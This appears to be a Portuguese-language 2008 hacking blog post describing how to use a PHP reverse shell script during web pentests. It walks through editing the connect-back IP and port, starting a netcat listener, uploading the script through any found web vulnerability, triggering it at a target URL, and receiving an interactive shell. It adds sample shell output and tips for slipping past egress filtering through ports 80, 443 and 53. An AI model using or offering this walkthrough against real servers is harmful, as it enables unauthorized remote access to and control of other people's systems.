PHP-Reverse-Shell March 27, 2008
Posted by y2h4ck in General Hacking, Pentesting.Tags: Assessment, backdoor, Ethical Hacking, Hacker, Hacking, Pentesting, Reverse Shell
trackback
Esta ferramenta criada em PHP, foi criada para ocasiões durante um pentest onde você consegue encontrar uma falha em uma aplicação Web ou Servidor Web que roda PHP. Imagine que neste pentest que os únicos mount points que você consegue utilizar estejam como noexec, sendo assim o envio de um script pre-compilado, como por exemplo uma backdoor em C, não sejam úteis. Neste caso você precisa de um script de alguma linguagem que ja esteja pre-instalada e executando no servidor alvo, como é o caso do Perl ou do PHP.
Para utilizar esta ferramenta basta fazer o upload da mesma em qualquer lugar do WebRoot e acessá-la via browser. Fazendo isto ela ira abrir um canal de comunicação TCP através de uma porta e estabelecerá uma Shell Interativa para que você possa acessar o console do servidor.
Download
MD5sum:2bdf99cee7b302afdc45d1d51ac7e373
SHA1sum: 30a26d5b5e30d819679e0d1eb44e46814892a4ee
Let’s Hack it :)
Modificando o Source
Para prevenir que qualquer um abuse de sua backdoor enquanto você a utiliza é necessário modificar o source code para indicar em qual host você irá fazer o Reverse ConnectBack. Para isto basta editar as linhas a seguir:
$ip = '127.0.0.1'; // MUDE AQUI $port = 1234; // MUDE AQUI
Pronto para receber uma Shell Reversa
Inicie um TCP Listener no host o qual você enviará a shell. É obvio que você deve utilizar a mesma porta que setou no script php. (1234 no nosso exemplo):
$ nc -v -n -l -p 1234
Enviando e Executando
Usando qualquer vulnerabilidade que você descobriu no Website, faça upload do php-reverse-shell.php. Execute o Script simplesmente acessando com o Browser o URL onde você colocou o script. Você não irá ver nenhum output na no browser, sendo assim não se assuste.
http://target/php-reverse-shell.php
Aproveite a Shell Nova
Se tudo correr bem e você fez tudo corrretamente o web server vai retornar uma Shell em sua porta TCP no Netcat. Alguns comandos úteis como uname -a, w, id e pwd serão executados automaticamente para você:
$ nc -v -n -l -p 1234 listening on [any] 1234 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 58012 Linux somehost 2.6.19-gentoo-r5 #1 SMP PREEMPT Sun Apr 1 16:49:38 BST 2007 x86_64 AMD Athlon(tm) 64 X2 Dual Core Processor 4200+ AuthenticAMD GNU/Linux 16:59:28 up 39 days, 19:54, 2 users, load average: 0.18, 0.13, 0.10 USER TTY LOGIN@ IDLE JCPU PCPU WHAT root :0 19May07 ?xdm? 5:10m 0.01s /bin/sh uid=81(apache) gid=81(apache) groups=81(apache) sh: no job control in this shell sh-3.2$
Abaixo segue um videozinho mostrando a execução do php-reverse-shell.
Qualquer Egress Filtering irá prevenir você de utilizar este tipo de backdoor, desta forma você deve procurar uma porta que seja possível fazer walkthrough no firewall. As portas mais comuns são:
- 80/tcp, 443/tcp e 53/tcp
A execução desta backdoor geraria algo suspeito se o Admin executasse um “ps”?
SIM, este script é muito simples então ele não faz nenhum hook() no sistema :
apache 28106 0.0 0.0 10428 1216 ? S 17:15 0:00 sh -c uname -a; w; id; /bin/sh -i apache 28110 0.0 0.0 10172 1428 ? S 17:15 0:00 /bin/sh -i
Espero que tenham gostado.
Good Hacking 4 All.


















Comments»
No comments yet — be the first.